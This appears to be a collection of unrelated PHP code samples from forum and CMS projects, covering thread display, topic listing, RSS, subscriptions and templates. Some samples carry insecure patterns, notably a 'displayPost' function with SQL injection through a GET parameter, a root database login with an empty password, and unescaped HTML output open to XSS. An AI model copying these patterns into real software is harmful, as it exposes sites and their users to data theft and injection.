#thread weather\n\t\t\t$twEncoded \t\t= str_replace(' ', '_', $twID); #URL safe\n\n\t\t\t$location \t\t= $row['ThreadLocation'];\n\t\t\t$locationEncoded = str_replace(' ', '_', $location); #URL safe\n\t\t\t$when \t\t\t\t= 'when';\n\t\t\t#add 67 seconds to time stamp\n\t\t\t#$time \t\t\t\t= date(\"m/d/Y h:i:s a\", time() + 67);\n\t\t\t$whenEncoded = str_replace(' ', '_', $when); #URL safe\n\n\n\t\t\t#handler - current user viewing is X\n\t\t\t#$hID = $_SESSION['UserID'];\n\t\t\t$hID = (isset($_SESSION['UserID'])) \t? $_SESSION['UserID'] : 0;\n\n\n\t\t\t#QUERY STRINGS for buttons - this way its easier to edit/revise them all in one place\n\t\t\t$pQueryAdd = '?act=postAdd';\n\t\t\t$pQueryAdd .= '&uID=' . $hID\n\t\t\t\t\t\t\t\t\t.\t '&cat=' . $catID\n\t\t\t\t\t\t\t\t\t. '&tID=' . $rtID\n\t\t\t\t\t\t\t\t\t. '&ttl=' . $titleEncoded\n\t\t\t\t\t\t\t\t\t. '&typ=' . $tType\n\t\t\t\t\t\t\t\t\t. '&rtg=' . $tRateEncoded\n\t\t\t\t\t\t\t\t\t. '&wet=' . $twEncoded\n\t\t\t\t\t\t\t\t\t. '&phs=' . $phaseEncoded\n\t\t\t\t\t\t\t\t\t. '&tme=' . $timeEncoded\n\t\t\t\t\t\t\t\t\t. '&loc=' . $locationEncoded\n\t\t\t\t\t\t\t\t\t. '&whn=' . $whenEncoded; #addd min 67 seconds to it...\n\t\t\t#URL Sanitized\n\t\t\t$pQueryAdd = htmlspecialchars($pQueryAdd, ENT_QUOTES);\n\t\t\t#$pQueryAdd = htmlentities($pQueryAdd);\n\t\t\t#$pQueryAdd = rawurlencode ($pQueryAdd);\n\n\t\t\t#dumpDie($pQueryAdd);\n\n\t\t\t$pQueryEdit = '?act=threadEdit&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryEdit = htmlspecialchars($pQueryEdit, ENT_QUOTES);\n\t\t\t$pQueryEdit = htmlentities($pQueryEdit);\n\n\t\t\t$pQueryRemove = '?act=threadRemove&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryRemove = htmlspecialchars($pQueryRemove, ENT_QUOTES);\n\t\t\t$pQueryRemove = htmlentities($pQueryRemove);\n\n\t\t\t$pQueryLock = '?act=threadLock&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryLock = htmlspecialchars($pQueryLock, ENT_QUOTES);\n\t\t\t$pQueryLock = htmlentities($pQueryLock);\n\n\t\t\t#if category matches selected category show\n\t\t\tif($rtID){\n\n\t\t\t\t#add leading zeros...\n\t\t\t\t$rIDformatted ='';\n\t\t\t\t$rIDformatted = str_pad( $rtID, 4, \"0\", STR_PAD_LEFT );\n\n\t\t\t\t#show threadHandler - make link to profile if logged in\n\t\t\t\tif(!empty($priv)){\n\t\t\t\t\t$hName = '<a href=\"' . VIRTUAL_PATH . 'users/userProfile.php?act=show&user=' . $uID . '\" title=\"\">' . get_hName($uID) . '</a>';\n\t\t\t\t}else{\n\t\t\t\t\t#if it's not our memeber, make link meaningless\n\t\t\t\t\t$hName = get_hName($uID);\n\t\t\t\t}\n\n\t\t\t\t#display content\n\t\t\t\t$str .= '<h2 class=\"panel-title\"><b>' . $tTitle . ' <span class=\"text-muted\"></b><small>(#TiD-' . $rtID . ')</small></span></a> <span class=\"pull-right\"><span class=\"glyphicon glyphicon-pencil text-muted\"></span> ' . $hName .'</span></h2>\n\n\t\t\t\t<p><br />'. nl2br($row['ThreadContent']) . '</p>';\n\t\t\t\t#intial description/staging for thread\n\n\n\t\t\t\t$threadTag = $row['ThreadTag'];\n\n\t\t\t\t#get Codenames of characters tagged\n\t\t\t\t#get all unique id sets\n\t\t\t\t$sqlAllTags = \"SELECT DISTINCT PostTags FROM ma_Posts WHERE ThreadID = $rtID\";\n\n\t\t\t\t$txt = '';\n\n\t\t\t\t#make tags for thread\n\t\t\t\t$resultAllTags = mysqli_query(IDB::conn(), $sqlAllTags) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t\t\t\t//at least one record!\n\t\t\t\tif (mysqli_num_rows($resultAllTags) > 0){//show results\n\t\t\t\t\t$count = 0;\n\n\t\t\t\t\t#process id sets into string, add duplicates removed\n\t\t\t\t\twhile ($row = mysqli_fetch_assoc($resultAllTags))\n\t\t\t\t\t{//dbOut() function is a 'wrapper' designed to strip slashes, etc. of data leaving db\n\t\t\t\t\t\t$txt .= $row['PostTags'] . 'x';\n\t\t\t\t\t}\n\n\t\t\t\t\t#remove double commas\n\t\t\t\t\t$txt = str_replace('xx',',', $txt);\n\t\t\t\t\t$txt = str_replace('x',',', $txt);\n\n\t\t\t\t\t#remove duplicates\n\t\t\t\t\t$txt = implode(',', array_unique(explode(',', $txt)));\n\n\t\t\t\t\t#format numbers to row comma quoted delinated row with\n\t\t\t\t\t$txt = \"'\" . str_replace(array(\"'\", \",\"), array(\"\\\\'\", \"','\"), $txt) . \"'\";\n\n\t\t\t\t\t#removing trailing comma and or empty/white space or combos there of.\n\t\t\t\t\t$myStr = str_replace(\",''\",'', $txt);\n\t\t\t\t}\n\n\t\t\t\t@mysqli_free_result($resultAllTags); //free resources\n\n\t\t\t\t$postTagsNew = $sqlCharTags = '';\n\t\t\t\t//we might not have any tags\n\t\t\t\tif($txt !==''){\n\t\t\t\t\t$sqlCharTags = \"SELECT Codename, CharID, Overview FROM ma_Characters WHERE CharID IN ($txt) ORDER BY Codename;\";\n\n\t\t\t\t\t$resultCharTags = mysqli_query(IDB::conn(), $sqlCharTags) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t\t\t\t\t//at least one record!\n\t\t\t\t\tif (mysqli_num_rows($resultCharTags) > 0)\n\t\t\t\t\t{//show results\n\n\t\t\t\t\t\t$count = 0;\n\t\t\t\t\t\t$postTagsNew .= '<p>Featuring: ';\n\n\t\t\t\t\t\twhile ($row = mysqli_fetch_assoc($resultCharTags))\n\t\t\t\t\t\t{//dbOut() function is a 'wrapper' designed to strip slashes, etc. of data leaving db\n\t\t\t\t\t\t\t$cName \t\t\t = $row['Codename'];\n\t\t\t\t\t\t\t$cNameEncode = str_replace(' ', '_', $cName); \t#URL safe\n\t\t\t\t\t\t\t#$twEncoded = str_replace(' ', '_', $twID); \t\t#URL safe\n\t\t\t\t\t\t\t#$titleEncoded = str_replace(' ', '_', $title);\t#URL safe\n\n\t\t\t\t\t\t\t$cID \t\t\t = $row['CharID'];\n\t\t\t\t\t\t\t$cOverivew = $row['Overview'];\n\n\t\t\t\t\t\t\t#add in comma/seperator\n\t\t\t\t\t\t\tIf($count++ >= 1){ $postTagsNew .= ', ';}\n\n\t\t\t\t\t\t\t$postTagsNew .= '<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?CodeName=' . $cNameEncode . '&id=' . $cID . '&act=show\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"' . $cOverivew . '\"\n\t\t\t\t\t\t\t>' . $cName . '</a>';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$postTagsNew .= '</p>';\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$str .= $postTagsNew;\n\n\t\t\t\t#THREAD queries addendums (NOT POSTS!)\n\t\t\t\t#we are using $rID = requested thread id instead of $rtID\n\n\t\t\t\t#GET posts - page them\n\n\n\n\t\t\t#Make the btns\n\t\t\t/*\n\t\t\t\t#we need a handler id for edit, lock and delete options -- handler is the registered created of that post or thread...\n\t\t\t*/\n\n\n\t\t\tif(!empty($priv)){ $btns .= mk_btns4posts($priv, $hID, $uID, $pQueryAdd, $pQueryAdd, $pQueryEdit, $pQueryRemove, $pQueryLock); }\n\n\t\t\t#sbow btns before posts.....\n\t\t\t$str .= $btns; #add the btns\n\n\n\n\t\t\t#pass the btns on to get_pPaged()\n\t\t\t$testStr .= get_pPaged($rtID, $tally, $act, $btns, $tTitle, $tType,\n\t\t\t\t$catID, $titleEncoded, $tType, $tRateEncoded, $twEncoded, $phaseEncoded,\n\t\t\t\t$timeEncoded, $locationEncoded, $whenEncoded, $titleEncoded,\n\t\t\t\t$priv, $hID, $uID); #get all psots\n\n\t\t\tif($testStr != ''){\n\t\t\t\t$str .= $testStr;\n\t\t\t\t$str .= '<hr>';\n\t\t\t#no records\n\t\t\t}else{\n\t\t\t\t$str .= \"<div align=center>Houston we have problemo</div>\";\n\t\t\t}\n\t\t}\n\t\t#close it all up\n\n\t\t$str .='</div><!-- END content -->';\n\t\t@mysqli_free_result($result); //free resources\n\t\treturn $str;\n\t\t}\n\t}\n}", "public function viewtopicAction($thread_id){\n\t\t$per_page = 20;\n\n\t\t# Chargement du manager\n\t\t$this->load_manager('forum', 'base_app');\n\n\t\t# On commpte le nombre de message\n\t\t$NbMessage = $this->app->db->count(PREFIX . 'forum_message', array('thread_id =' => $thread_id));\n\n\t\t# On recupere les messages\n\t\t$Messages = $this->manager->forum->getMessagesByThreadId($thread_id, $per_page, getOffset($per_page));\n\n\t\t# Recuperation infos topic\n\t\t$Thread = new Basethread($this->app->db->get_one(PREFIX . 'forum_thread', array('id =' => $thread_id)));\n\n\t\t# On traite la pagination\n\t\t$Pagination = new Zebra_Pagination();\n\t\t$Pagination->records($NbMessage);\n\t\t$Pagination->records_per_page($per_page);\n\n\t\tif( $this->isModerateur() == true ):\n\t\t\t$this->app->smarty->assign('Forums', $this->manager->forum->getAllForums());\n\t\tendif;\n\t\t\n\t\t# Envoie a smarty\n\t\t$this->app->smarty->assign(array(\n\t\t\t'ctitre'\t\t=>\t'Forum :: ' . $Thread->titre,\n\t\t\t'Messages'\t\t=>\t$Messages,\n\t\t\t'Thread'\t\t=>\t$Thread,\n\t\t\t'Pagination'\t=>\t$Pagination,\n\t\t\t'Forum'\t\t\t=>\tnew myObject( $this->app->db->get_one(PREFIX . 'forum', array('id =' => $Thread->forum_id)) )\n\t\t));\n\n\t\tif( $_SESSION['utilisateur']['id'] != 'Visiteur' ):\n\t\t\t$this->getFormValidatorJs();\n\n\t\t\t$this->app->load_web_lib('markitup/skins/simple/style.css','css');\n\t\t\t$this->app->load_web_lib('markitup/bbcode/style.css','css');\n\t\t\t$this->app->load_web_lib('markitup/jquery.markitup.js','js');\n\t\t\t$this->app->load_web_lib('markitup/bbcode/set.js','js');\n\t\tendif;\n\t\t\n\t\t# Generation de la page\n\t\treturn $this->app->smarty->fetch(BASE_APP_PATH . 'view' . DS . 'forum' . DS . 'viewtopic.tpl');\n\n\t}", "public function _list( $args, $assoc_args ) {\n\t\t$formatter = $this->get_formatter( $assoc_args );\n\t\t$user = $this->get_user_id_from_identifier( $args[0] );\n\n\t\t$topics = bbp_get_user_favorites( $this->user_args( $user->ID ) );\n\n\t\tif ( 'ids' === $formatter->format ) {\n\t\t\techo implode( ' ', bbp_get_user_favorites_topic_ids( $user->ID ) ); // WPCS: XSS ok.\n\t\t} elseif ( 'count' === $formatter->format ) {\n\t\t\t$formatter->display_items( $topics->found_posts );\n\t\t} else {\n\t\t\t$topics = array_map( function( $post ) {\n\t\t\t\t$post->url = get_permalink( $post->ID );\n\t\t\t\treturn $post;\n\t\t\t}, $topics->posts );\n\t\t\t$formatter->display_items( $topics );\n\t\t}\n\t}", "function caldol_hook_bbp_theme_before_forum_sub_forums(){\n\n\n\t\t\n\n\t\t//echo \"count: \" . bbp_get_forum_subforum_count() . \" --\";\n\n\t\t\n\n\t\t\n\n\t\t$subForumList = bbp_forum_get_subforums();\n\n\t\t\n\n\t\tif(sizeof($subForumList) > 1){\n\n\t\t\techo \"<ul style='margin-left: 20px;'>\";\n\n\t\tforeach($subForumList as $currForum){\n\n\t\t\t//print_r($currForum);\n\n\t\t\t// No link\n\n\t\t\t$retval = false;\n\n\t\t\t\t\n\n\t\t\t// Parse the arguments\n\n\t\t\t$r = bbp_parse_args( $args, array(\n\n\t\t\t\t\t'forum_id' => $currForum->ID,\n\n\t\t\t\t\t'user_id' => 0,\n\n\t\t\t\t\t'before' => '',\n\n\t\t\t\t\t'after' => '',\n\n\t\t\t\t\t'subscribe' => __( 'Subscribe', 'bbpress' ),\n\n\t\t\t\t\t'unsubscribe' => __( 'x', 'bbpress' )\n\n\t\t\t), 'get_forum_subscribe_link' );\n\n\t\t\t\t\n\n\t\t\t\n\n\t\t\t$isSubscribed = bbp_get_forum_subscription_link( $r);\n\n\t\t\t\n\n\t\t\t\t\n\n\t\t\tif(strpos($isSubscribed, 'is-subscribed') != 0){\n\n\t\t\t\n\n\t\t\techo \"<li class='bbp-topic-title'><a href='\" . bbp_get_forum_permalink($currForum->ID) . \"'>\" . $currForum->post_title . \"</a><span class='bbp-topic-action'>&nbsp;&nbsp; \" . $isSubscribed . \" </span></li>\";\n\n\t\t\t}\n\n\t\t\t//print_r($currForum);\n\n\t\t}\n\n\t\t\techo \"</ul>\";\n\n\t\t} // end > 1\n\n\t\t\n\n\t\t\n\n}", "public function notify_list(){\n\n\t\tif(!empty($_SESSION[\"notify\"][\"messages\"])){\n\n\n\t\t\techo \"<ul id=\\\"notify-messages\\\">\";\n\t\t\tforeach ($_SESSION[\"notify\"][\"messages\"] as $message) {\n\t\t\t\techo \"<li data-type=\\\"\".$message[\"type\"].\"\\\">\" . $message[\"message\"] . \"</li>\";\n\t\t\t}\n\t\t\techo \"</ul>\";\n\t\t}\n\n\t\t//limpar o queue de notifications\n\t\tself::notify_empty();\n\n\t}", "public function actionFaqListing()\n {\n ob_start();\n Yii::app()->theme='back';\n $model=new Faq;\n $rec=Faq::model()->findAll();\n $this->render('faqlisting',array('model'=>$model,'list'=>$rec));\n\n }", "public function index()\n {\n $threads = DB::table('thread')->get();\n\n return view ('threads.index') -> with ('threads', $threads );\n }", "public function index(Request $request)\n {\n $threads = Thread::with('lastReply')\n ->filter($request)\n ->orderByDesc('last_posted_at')\n ->paginate(25);\n\n return Inertia::render('forum/Index', [\n 'threads' => $threads,\n 'filters' => $request->all('search'),\n ])->withViewData([\n 'title' => 'Forum',\n 'description' => \"Les forums communautaires sont un endroit pour discuter de tout ce qui concerne le développement / le design. Laravel Cameroun offrira l'un des plus grands forum francophone sur Laravel & PHP\",\n 'openGraphURL' => url(\"/forum\")\n ]);\n }", "public function index()\n\t{\n\t\t$topics = Topic::all();\n\t\t$breadcrumbs = ['Home', 'Manage Forum', 'Topics'];\n\t\treturn View::make('admin.forum.topic.index')\n\t\t\t\t\t->withTopics($topics)\n\t\t\t\t\t->withBreadcrumbs($breadcrumbs);\n\t}", "public function rss_index()\n\t{\n\t\t// Liste des messages\n\t\t$sql = 'SELECT f.f_name, p.p_id, p.f_id, p.u_id, p.p_text, p.p_time, p.p_nickname, p.p_map, t.t_id, t.t_title, t.t_description, u.u_activate_email, u.u_email, u.u_auth\n\t\t\t\tFROM ' . SQL_PREFIX . 'forums f\n\t\t\t\tLEFT JOIN ' . SQL_PREFIX . 'topics t\n\t\t\t\t\tON f.f_id = t.f_id\n\t\t\t\tINNER JOIN ' . SQL_PREFIX . 'posts p\n\t\t\t\t\tON p.p_id = t.t_first_p_id\n\t\t\t\tLEFT JOIN ' . SQL_PREFIX . 'users u\n\t\t\t\t\tON u.u_id = p.u_id\n\t\t\t\tWHERE p.p_approve = 0'\n\t\t\t\t\t. (($cat_id = intval(Http::request('cat'))) ? ' AND f.f_cat_id = ' . $cat_id : '')\n\t\t\t\t\t. (($forums_idx = Forum::get_authorized(array('ga_view', 'ga_view_topics'))) ? ' AND t.f_id IN (' . implode(', ', $forums_idx) . ')' : '') . '\n\t\t\t\tORDER BY t.t_last_p_time DESC\n\t\t\t\tLIMIT 100';\n\t\t$result = Fsb::$db->query($sql);\n\t\tif ($row = Fsb::$db->row($result))\n\t\t{\n\t\t\t$this->rss->open(\n\t\t\t\thtmlspecialchars(Fsb::$cfg->get('forum_name') . Fsb::$session->getStyle('other', 'title_separator') . Fsb::$session->lang('rss_index')),\n\t\t\t\thtmlspecialchars(Fsb::$session->lang('rss_index')),\n\t\t\t\tFsb::$session->data['u_language'],\n\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=rss&amp;mode=index&amp;cat=' . $cat_id),\n\t\t\t\t$row['p_time']\n\t\t\t);\n\n\t\t\t$parser = new Parser();\n\t\t\tdo\n\t\t\t{\n\t\t\t\t// Informations passees au parseur de message\n\t\t\t\t$parser_info = array(\n\t\t\t\t\t'u_id' =>\t\t\t$row['u_id'],\n\t\t\t\t\t'p_nickname' =>\t\t$row['p_nickname'],\n\t\t\t\t\t'u_auth' =>\t\t\t$row['u_auth'],\n\t\t\t\t\t'f_id' =>\t\t\t$row['f_id'],\n\t\t\t\t\t't_id' =>\t\t\t$row['t_id'],\n\t\t\t\t);\n\n\t\t\t\t$parser->parse_html = (Fsb::$cfg->get('activate_html') && $row['u_auth'] >= MODOSUP) ? true : false;\n\t\t\t\t$this->rss->add_entry(\n\t\t\t\t\tParser::title($row['t_title']),\n\t\t\t\t\thtmlspecialchars(($row['t_description']) ? $row['t_description'] : $parser->mapped_message($row['p_text'], $row['p_map'], $parser_info)),\n\t\t\t\t\t(($row['u_activate_email'] & 2) ? 'mailto:' . $row['u_email'] : Fsb::$cfg->get('forum_mail')) . ' ' . htmlspecialchars($row['p_nickname']),\n\t\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=topic&t_id=' . $row['t_id']),\n\t\t\t\t\t$row['p_time']\n\t\t\t\t);\n\t\t\t}\n\t\t\twhile ($row = Fsb::$db->row($result));\n\t\t}\n\t\t// Aucun sujet ...\n\t\telse \n\t\t{\n\t\t\t$this->rss->open(\n\t\t\t\thtmlspecialchars(Fsb::$cfg->get('forum_name') . Fsb::$session->getStyle('other', 'title_separator') . Fsb::$session->lang('rss_index')),\n\t\t\t\thtmlspecialchars(Fsb::$session->lang('rss_index')),\n\t\t\t\tFsb::$session->data['u_language'],\n\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=rss&amp;mode=index&amp;cat=' . $cat_id),\n\t\t\t\tCURRENT_TIME\n\t\t\t);\n\t\t}\n\t}", "public function getShowQueueAdd()\n {\n return $this->getChildBlock('grid')->getShowQueueAdd();\n }", "public function index()\n {\n return view('queueExample');\n }", "function _show_topic() {\n\n\t\t$_posts_per_page = !empty(module('forum')->USER_SETTINGS['POSTS_PER_PAGE']) ? module('forum')->USER_SETTINGS['POSTS_PER_PAGE'] : module('forum')->SETTINGS['NUM_POSTS_ON_PAGE'];\n\n\t\tif (!module('forum')->SETTINGS['ALLOW_PRINT_TOPIC']) {\n\t\t\treturn module('forum')->_show_error('Print topic is disabled');\n\t\t}\n\n\t\tmain()->NO_GRAPHICS = true;\n\n\t\t$topic_id = intval($_GET['id']);\n\n\t\t// Get topic info\n\t\t$topic_info = db()->query_fetch('SELECT * FROM '.db('forum_topics').' WHERE id='.intval($topic_id).' LIMIT 1');\n\t\tif (empty($topic_info)) {\n\t\t\treturn '';\n\t\t}\n\t\t?>\n<html>\n<head>\n<title><?php echo $topic_info['name']?></title>\n<style type=\"text/css\">\n<!--\ntd, p, div\n{\n\tfont: 10pt verdana;\n}\n.smallfont\n{\n\tfont-size: 11px;\n}\n.tborder\n{\n\tborder: 1px solid #808080;\n}\n.thead\n{\n\tbackground-color: #EEEEEE;\n}\n.page\n{\n\tbackground-color: #FFFFFF;\n\tcolor: #000000;\n}\n-->\n</style>\n</head>\n<body class=\"page\">\n\t\t<?php\n\n\t\techo \"<a href='\".process_url(\"./?object=forum&action=view_topic&id=\".$topic_id).\"'><b>\".$topic_info[\"name\"].\"</b></a><br/>\".PHP_EOL;\n\t\t// Prepare SQL query\n\t\t$sql = 'SELECT * FROM '.db('forum_posts').' WHERE topic='.$topic_id;\n\t\t$order_by = ' ORDER BY created ASC ';\n\t\tlist($add_sql, $pages, $topic_num_posts) = common()->divide_pages($sql, null, null, $_posts_per_page);\n\n\t\tif (!empty($pages))\n\t\t {\n\t\t\techo '<br /><small>Pages: '.$pages.'</small>'.PHP_EOL;\n\t\t }\n\n\t\techo '<BR>';\n\t\t// Init bb codes module\n\t\t$BB_OBJ = _class('bb_codes');\n\t\t// Process posts\n\t\t$Q = db()->query($sql. $order_by. $add_sql);\n\t\twhile ($post_info = db()->fetch_assoc($Q))\n\t\t {\n\t\t ?>\n<table class=\"tborder\" cellpadding=\"6\" cellspacing=\"1\" border=\"0\" width=\"100%\">\n <tr>\n\t<td class=\"page\">\n\t\t<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"100%\">\n\t\t <tr valign=\"bottom\">\n\t\t\t<td style=\"font-size:14pt\"><?php echo _prepare_html($post_info['user_name'])?></td>\n\t\t\t<td class=\"smallfont\" align=\"right\"><?php echo _format_date($post_info['created'], 'long')?></td>\n\t\t </tr>\n\t\t</table>\n\t\t<hr/>\n\t\t<div><?php echo $BB_OBJ->_process_text($post_info['text'])?></div>\n\t</td>\n </tr>\n</table>\n<br/>\n\t\t <?php\n\t\t }\n\t\techo '</body></html>';\n\t}", "public function displayPost()\r\n {\r\n $forumName = $_GET['name'];\r\n\r\n $servername = \"localhost\";\r\n $username = \"root\";\r\n $password = \"\";\r\n\r\n $db = \"forumdb\";\r\n\r\n $table = \"post\";\r\n\r\n // Create connection\r\n $conn = new mysqli($servername, $username, $password, $db);\r\n\r\n // Check connection\r\n if ($conn->connect_error) {\r\n die(\"Connection failed: \" . $conn->connect_error);\r\n }\r\n else\r\n {\r\n $sql = \"SELECT * FROM $table WHERE forum_name = '$forumName'\";\r\n $result = $conn->query($sql);\r\n\r\n if ($result->num_rows > 0)\r\n {\r\n // get data of each row\r\n while ($row = $result->fetch_assoc())\r\n {\r\n if (strpos($row[\"post_body\"], 'https://')!==false)\r\n {\r\n /*this part checks if a url exists in the chat, the !==false is there on purpose because\r\n strpos returns either the offset at which the needle string begins in the haystack string\r\n or the boolean false if the needle isn't found.\r\n */\r\n echo \"<p style='color:greenyellow;'>\" . $row[\"post_author\"] . \" - Posted @ \" . $row[\"timin\"] . \" : </p>\" .\"<a href='\". $row[\"post_body\"] . \"'>\".$row[\"post_body\"].\"</a><br><br>\";\r\n echo \"</br>\";\r\n }\r\n else if(strpos($row[\"post_body\"], '.com')!==false) //if you want to add more options for link detections you can do it here and keep advancing the else if statements\r\n {\r\n echo \"<p style='color:greenyellow;'>\" . $row[\"post_author\"] . \" - Posted @ \" . $row[\"timin\"] . \" : </p>\" .\"<a href='\". $row[\"post_body\"] . \"'>\".$row[\"post_body\"].\"</a><br><br>\";\r\n echo \"</br>\";\r\n }\r\n else\r\n {\r\n echo \"<p style='color:greenyellow;'>\" . $row[\"post_author\"] . \" - Posted @ \" . $row[\"timin\"] . \" : </p>\" . $row[\"post_body\"] . \"<br><br>\";\r\n echo \"</br>\";\r\n }\r\n }\r\n\r\n }\r\n else\r\n {\r\n //echo \"0 results\";\r\n echo \"Be the first the post!\";\r\n }\r\n $conn->close();\r\n }\r\n }", "public function getList()\n\t{\n\t\tif(!isset($this->_list))\n\t\t{\n\t\t\tparent::getList();\n\t\t\t\n\t\t\t$table = $this->getTable();\n\t\t\t$types = array(\n\t\t\t\t'forum' => $table->getTypeIdFromName('forum'),\n\t\t\t\t'topic' => $table->getTypeIdFromName('topic'),\n\t\t\t\t'person' => $table->getTypeIdFromName('person')\n\t\t\t);\n\n\t\t\t//@TODO optimize this to 3 queries in total, instead of multiple\n\t\t\tforeach($this->_list as $item)\n\t\t\t{\n\t\t\t\t//@TODO speed this up by adding it as a db column\n\t\t\t\t$item->modified_by = false;\n\t\t\t\t$item->modified_name = JText::_('COM_NINJABOARD_NA');\n\t\t\t\t\n\t\t\t\tif($item->subscription_type == $types['forum'])\n\t\t\t\t{\n\t\t\t\t\t$item->type = 'forum';\n\t\t\t\t\t$item->title = $this->getService('com://admin/ninjaboard.model.forums')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t->id($item->subscription_type_id)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t->getItem()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t->title;\n\t\t\t\t\t\n\t\t\t\t\t$icon = '/forums/default.png';\n\t\t\t\t\t$link = '&view=forum&id='.$item->subscription_type_id;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif($item->subscription_type == $types['topic'])\n\t\t\t\t{\n\t\t\t\t\t$item->type = 'topic';\n\t\t\t\t\t$topic = $this->getService('com://admin/ninjaboard.model.topics')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t->id($item->subscription_type_id)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t->getItem();\n\t\t\t\t\t$item->title = $topic->subject;\n\t\t\t\t\t\n\t\t\t\t\t$icon = '/topic/32__default.png';\n\t\t\t\t\t$link = '&view=topic&id='.$item->subscription_type_id;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif($item->subscription_type == $types['person'])\n\t\t\t\t{\n\t\t\t\t\t$item->type = 'person';\n\t\t\t\t\t$item->title = $this->getService('com://admin/ninjaboard.model.people')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t->id($item->subscription_type_id)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t->getItem()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t->display_name;\n\t\t\t\t\t$icon = '/16/users.png';\n\t\t\t\t\t$link = '&view=person&id='.$item->subscription_type_id;\n\t\t\t\t}\n\n\t\t\t\t$item->link = JRoute::_('index.php?option=com_ninjaboard'.$link);\n\t\t\t\t$item->icon = $this->getService('ninja:template.helper.document')->img($icon);\n\t\t\t}\t\t\t\n\t\t}\n\t\t\n\t\treturn $this->_list;\n\t}", "function searchResultsAsForum($results, $titlesOnly) {\r\n$IPBHTML = \"\";\r\n//--starthtml--//\r\n$IPBHTML .= <<<EOF\r\n{parse js_module=\"forums\"}\n<if test=\"asTawpiks:|:$titlesOnly\">\n<script type='text/javascript' src='{$this->settings['public_dir']}js/ips.forums.js'></script>\n<table class='ipb_table topic_list' id='forum_table'>\n</if>\n\t<if test=\"count($results)\">\n\t\t<if test=\"asPostsStart:|:!$titlesOnly\"><div class='ipsBox'></if>\n\t\t<foreach loop=\"NCresultsAsForum:$results as $result\">\n\t\t\t{$result['html']}\n\t\t</foreach>\n\t\t<if test=\"asPostsEnd:|:!$titlesOnly\"></div></if>\n\t</if>\n<if test=\"asTawpiks2:|:$titlesOnly\">\n\t</table>\n\t<if test=\"isAdminBottom:|:$this->memberData['g_is_supmod'] && $this->request['search_app_filters']['forums']['liveOrArchive'] != 'archive'\">\n\t\t<div id='topic_mod' class='moderation_bar rounded with_action clear'>\n\t\t\t<form id='modform' method=\"post\" action=\"{parse url=\"\" base=\"public\"}\">\n\t\t\t\t<fieldset>\n\t\t\t\t\t<input type=\"hidden\" name=\"app\" value=\"forums\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"module\" value=\"moderate\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"section\" value=\"moderate\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"do\" value=\"topicchoice\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"st\" value=\"{$this->request['st']}\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"auth_key\" value=\"{$this->member->form_hash}\" />\n\t\t\t\t\t<input type='hidden' name='fromSearch' value='1' />\n\t\t\t\t\t<input type='hidden' name='returnUrl' id='returnUrl' value='{$this->request['returnUrl']}' />\n\t\t\t\t\t<input type=\"hidden\" name=\"modfilter\" value=\"{$this->request['modfilter']}\" />\n\t\t\t\t\t<input type=\"hidden\" value=\"{$this->request['selectedtids']}\" id='selectedtids' name=\"selectedtids\" />\n\t\t\t\t\n\t\t\t\t\t<select name=\"tact\" id='mod_tact'>\n\t\t\t\t\t\t<option value='approve'>{$this->lang->words['cpt_approve_f']}</option>\n\t\t\t\t\t\t<option value='pin'>{$this->lang->words['cpt_pin_f']}</option>\n\t\t\t\t\t\t<option value='unpin'>{$this->lang->words['cpt_unpin_f']}</option>\n\t\t\t\t\t\t<option value='open'>{$this->lang->words['cpt_open_f']}</option>\n\t\t\t\t\t\t<option value='close'>{$this->lang->words['cpt_close_f']}</option>\n\t\t\t\t\t\t<option value='move'>{$this->lang->words['cpt_move_f']}</option>\n\t\t\t\t\t\t<option value='merge'>{$this->lang->words['cpt_merge_f']}</option>\n\t\t\t\t\t\t<option value='delete'>{$this->lang->words['cpt_hide_f']}</option>\n\t\t\t\t\t\t<option value='sundelete'>{$this->lang->words['cpt_unhide_f']}</option>\n\t\t\t\t\t\t<option value='deletedo'>{$this->lang->words['cpt_delete_f']}</option>\n\t\t\t\t\t</select>&nbsp;\n\t\t\t\t\t<input type=\"submit\" name=\"gobutton\" value=\"{$this->lang->words['f_go']}\" class=\"input_submit alt\" id='mod_submit' />\n\t\t\t\t</fieldset>\n\t\t\t</form>\n\t\t\t<script type='text/javascript'>\n\t\t\t\t/* Set return string */\n\t\t\t\t$('returnUrl').value = $('urlString').value;\n\t\t\t\t$('modform').observe('submit', ipb.forums.submitModForm);\n\t\t\t\t$('mod_tact').observe('change', ipb.forums.updateTopicModButton);\n\t\t\t</script>\n\t\t</div>\n\t</if>\n<else />\n\t<script type='text/javascript' src='{$this->settings['public_dir']}js/ips.topic.js'></script>\n\t<script 